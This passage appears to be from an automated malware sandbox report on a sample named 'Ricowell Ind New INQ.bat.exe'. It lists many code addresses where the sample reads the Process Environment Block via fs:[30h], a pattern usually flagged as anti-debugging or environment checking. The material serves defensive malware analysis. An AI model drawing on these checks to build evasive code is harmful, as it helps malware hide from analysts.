Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2755 mov eax, dword ptr fs:[00000030h]	3_2_378A2755
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2755 mov eax, dword ptr fs:[00000030h]	3_2_378A2755
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2755 mov ecx, dword ptr fs:[00000030h]	3_2_378A2755
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2755 mov eax, dword ptr fs:[00000030h]	3_2_378A2755
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2755 mov eax, dword ptr fs:[00000030h]	3_2_378A2755
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37892760 mov ecx, dword ptr fs:[00000030h]	3_2_37892760
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1763 mov eax, dword ptr fs:[00000030h]	3_2_378C1763
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1763 mov eax, dword ptr fs:[00000030h]	3_2_378C1763
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1763 mov eax, dword ptr fs:[00000030h]	3_2_378C1763
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1763 mov eax, dword ptr fs:[00000030h]	3_2_378C1763
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1763 mov eax, dword ptr fs:[00000030h]	3_2_378C1763
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1763 mov eax, dword ptr fs:[00000030h]	3_2_378C1763
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37884779 mov eax, dword ptr fs:[00000030h]	3_2_37884779
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37884779 mov eax, dword ptr fs:[00000030h]	3_2_37884779
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B0774 mov eax, dword ptr fs:[00000030h]	3_2_378B0774
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790C691 mov eax, dword ptr fs:[00000030h]	3_2_3790C691
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680 mov eax, dword ptr fs:[00000030h]	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37888690 mov eax, dword ptr fs:[00000030h]	3_2_37888690
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F68C mov eax, dword ptr fs:[00000030h]	3_2_3793F68C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379486A8 mov eax, dword ptr fs:[00000030h]	3_2_379486A8
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379486A8 mov eax, dword ptr fs:[00000030h]	3_2_379486A8
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378806CF mov eax, dword ptr fs:[00000030h]	3_2_378806CF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379286C2 mov eax, dword ptr fs:[00000030h]	3_2_379286C2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794A6C0 mov eax, dword ptr fs:[00000030h]	3_2_3794A6C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AD6D0 mov eax, dword ptr fs:[00000030h]	3_2_378AD6D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378796E0 mov eax, dword ptr fs:[00000030h]	3_2_378796E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378796E0 mov eax, dword ptr fs:[00000030h]	3_2_378796E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788C6E0 mov eax, dword ptr fs:[00000030h]	3_2_3788C6E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378856E0 mov eax, dword ptr fs:[00000030h]	3_2_378856E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378856E0 mov eax, dword ptr fs:[00000030h]	3_2_378856E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378856E0 mov eax, dword ptr fs:[00000030h]	3_2_378856E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A66E0 mov eax, dword ptr fs:[00000030h]	3_2_378A66E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A66E0 mov eax, dword ptr fs:[00000030h]	3_2_378A66E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FC6F2 mov eax, dword ptr fs:[00000030h]	3_2_378FC6F2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FC6F2 mov eax, dword ptr fs:[00000030h]	3_2_378FC6F2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B360F mov eax, dword ptr fs:[00000030h]	3_2_378B360F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AD600 mov eax, dword ptr fs:[00000030h]	3_2_378AD600
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AD600 mov eax, dword ptr fs:[00000030h]	3_2_378AD600
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F607 mov eax, dword ptr fs:[00000030h]	3_2_3793F607
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37954600 mov eax, dword ptr fs:[00000030h]	3_2_37954600
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37913608 mov eax, dword ptr fs:[00000030h]	3_2_37913608
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37913608 mov eax, dword ptr fs:[00000030h]	3_2_37913608
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37913608 mov eax, dword ptr fs:[00000030h]	3_2_37913608
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37913608 mov eax, dword ptr fs:[00000030h]	3_2_37913608
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37913608 mov eax, dword ptr fs:[00000030h]	3_2_37913608
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37913608 mov eax, dword ptr fs:[00000030h]	3_2_37913608
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37908633 mov esi, dword ptr fs:[00000030h]	3_2_37908633
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37908633 mov eax, dword ptr fs:[00000030h]	3_2_37908633
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37908633 mov eax, dword ptr fs:[00000030h]	3_2_37908633
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37885622 mov eax, dword ptr fs:[00000030h]	3_2_37885622
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37885622 mov eax, dword ptr fs:[00000030h]	3_2_37885622
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37887623 mov eax, dword ptr fs:[00000030h]	3_2_37887623
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BC620 mov eax, dword ptr fs:[00000030h]	3_2_378BC620
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BF63F mov eax, dword ptr fs:[00000030h]	3_2_378BF63F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BF63F mov eax, dword ptr fs:[00000030h]	3_2_378BF63F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37880630 mov eax, dword ptr fs:[00000030h]	3_2_37880630
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B0630 mov eax, dword ptr fs:[00000030h]	3_2_378B0630
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792D62C mov ecx, dword ptr fs:[00000030h]	3_2_3792D62C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792D62C mov ecx, dword ptr fs:[00000030h]	3_2_3792D62C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792D62C mov eax, dword ptr fs:[00000030h]	3_2_3792D62C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37883640 mov eax, dword ptr fs:[00000030h]	3_2_37883640
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F640 mov eax, dword ptr fs:[00000030h]	3_2_3789F640
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F640 mov eax, dword ptr fs:[00000030h]	3_2_3789F640
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789F640 mov eax, dword ptr fs:[00000030h]	3_2_3789F640
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BC640 mov eax, dword ptr fs:[00000030h]	3_2_378BC640
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BC640 mov eax, dword ptr fs:[00000030h]	3_2_378BC640
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787D64A mov eax, dword ptr fs:[00000030h]	3_2_3787D64A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787D64A mov eax, dword ptr fs:[00000030h]	3_2_3787D64A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788965A mov eax, dword ptr fs:[00000030h]	3_2_3788965A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788965A mov eax, dword ptr fs:[00000030h]	3_2_3788965A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B265C mov eax, dword ptr fs:[00000030h]	3_2_378B265C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B265C mov ecx, dword ptr fs:[00000030h]	3_2_378B265C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B265C mov eax, dword ptr fs:[00000030h]	3_2_378B265C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B5654 mov eax, dword ptr fs:[00000030h]	3_2_378B5654
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37877662 mov eax, dword ptr fs:[00000030h]	3_2_37877662
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37877662 mov eax, dword ptr fs:[00000030h]	3_2_37877662
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37877662 mov eax, dword ptr fs:[00000030h]	3_2_37877662
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B666D mov esi, dword ptr fs:[00000030h]	3_2_378B666D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B666D mov eax, dword ptr fs:[00000030h]	3_2_378B666D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B666D mov eax, dword ptr fs:[00000030h]	3_2_378B666D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37893660 mov eax, dword ptr fs:[00000030h]	3_2_37893660
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37893660 mov eax, dword ptr fs:[00000030h]	3_2_37893660
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37893660 mov eax, dword ptr fs:[00000030h]	3_2_37893660
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37880670 mov eax, dword ptr fs:[00000030h]	3_2_37880670
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2670 mov eax, dword ptr fs:[00000030h]	3_2_378C2670
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2670 mov eax, dword ptr fs:[00000030h]	3_2_378C2670
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790C592 mov eax, dword ptr fs:[00000030h]	3_2_3790C592
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE588 mov eax, dword ptr fs:[00000030h]	3_2_378FE588
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE588 mov eax, dword ptr fs:[00000030h]	3_2_378FE588
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA580 mov eax, dword ptr fs:[00000030h]	3_2_378BA580
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA580 mov eax, dword ptr fs:[00000030h]	3_2_378BA580
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B9580 mov eax, dword ptr fs:[00000030h]	3_2_378B9580
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B9580 mov eax, dword ptr fs:[00000030h]	3_2_378B9580
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F582 mov eax, dword ptr fs:[00000030h]	3_2_3793F582
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B2594 mov eax, dword ptr fs:[00000030h]	3_2_378B2594
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378845B0 mov eax, dword ptr fs:[00000030h]	3_2_378845B0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378845B0 mov eax, dword ptr fs:[00000030h]	3_2_378845B0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379085AA mov eax, dword ptr fs:[00000030h]	3_2_379085AA
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F5C7 mov eax, dword ptr fs:[00000030h]	3_2_3787F5C7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BC5C6 mov eax, dword ptr fs:[00000030h]	3_2_378BC5C6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379005C6 mov eax, dword ptr fs:[00000030h]	3_2_379005C6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B65D0 mov eax, dword ptr fs:[00000030h]	3_2_378B65D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B15EF mov eax, dword ptr fs:[00000030h]	3_2_378B15EF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3788B5E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3788B5E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3788B5E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3788B5E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3788B5E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3788B5E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790C5FC mov eax, dword ptr fs:[00000030h]	3_2_3790C5FC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA5E7 mov ebx, dword ptr fs:[00000030h]	3_2_378BA5E7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA5E7 mov eax, dword ptr fs:[00000030h]	3_2_378BA5E7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B502 mov eax, dword ptr fs:[00000030h]	3_2_3787B502
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BC50D mov eax, dword ptr fs:[00000030h]	3_2_378BC50D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BC50D mov eax, dword ptr fs:[00000030h]	3_2_378BC50D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37882500 mov eax, dword ptr fs:[00000030h]	3_2_37882500
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov ecx, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov ecx, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792F51B mov eax, dword ptr fs:[00000030h]	3_2_3792F51B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790C51D mov eax, dword ptr fs:[00000030h]	3_2_3790C51D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE507 mov eax, dword ptr fs:[00000030h]	3_2_378AE507
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A1514 mov eax, dword ptr fs:[00000030h]	3_2_378A1514
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A1514 mov eax, dword ptr fs:[00000030h]	3_2_378A1514
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A1514 mov eax, dword ptr fs:[00000030h]	3_2_378A1514
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A1514 mov eax, dword ptr fs:[00000030h]	3_2_378A1514
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A1514 mov eax, dword ptr fs:[00000030h]	3_2_378A1514
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A1514 mov eax, dword ptr fs:[00000030h]	3_2_378A1514
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789252B mov eax, dword ptr fs:[00000030h]	3_2_3789252B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BF523 mov eax, dword ptr fs:[00000030h]	3_2_378BF523
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B1527 mov eax, dword ptr fs:[00000030h]	3_2_378B1527
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2539 mov eax, dword ptr fs:[00000030h]	3_2_378C2539
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787753F mov eax, dword ptr fs:[00000030h]	3_2_3787753F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787753F mov eax, dword ptr fs:[00000030h]	3_2_3787753F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787753F mov eax, dword ptr fs:[00000030h]	3_2_3787753F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37883536 mov eax, dword ptr fs:[00000030h]	3_2_37883536
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37883536 mov eax, dword ptr fs:[00000030h]	3_2_37883536
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788254C mov eax, dword ptr fs:[00000030h]	3_2_3788254C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794A553 mov eax, dword ptr fs:[00000030h]	3_2_3794A553
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B55F mov eax, dword ptr fs:[00000030h]	3_2_3795B55F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B55F mov eax, dword ptr fs:[00000030h]	3_2_3795B55F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B6540 mov eax, dword ptr fs:[00000030h]	3_2_378B6540
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B8540 mov eax, dword ptr fs:[00000030h]	3_2_378B8540
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789E547 mov eax, dword ptr fs:[00000030h]	3_2_3789E547
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789C560 mov eax, dword ptr fs:[00000030h]	3_2_3789C560
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3790C490 mov eax, dword ptr fs:[00000030h]	3_2_3790C490
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B648A mov eax, dword ptr fs:[00000030h]	3_2_378B648A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B648A mov eax, dword ptr fs:[00000030h]	3_2_378B648A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B648A mov eax, dword ptr fs:[00000030h]	3_2_378B648A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37880485 mov ecx, dword ptr fs:[00000030h]	3_2_37880485
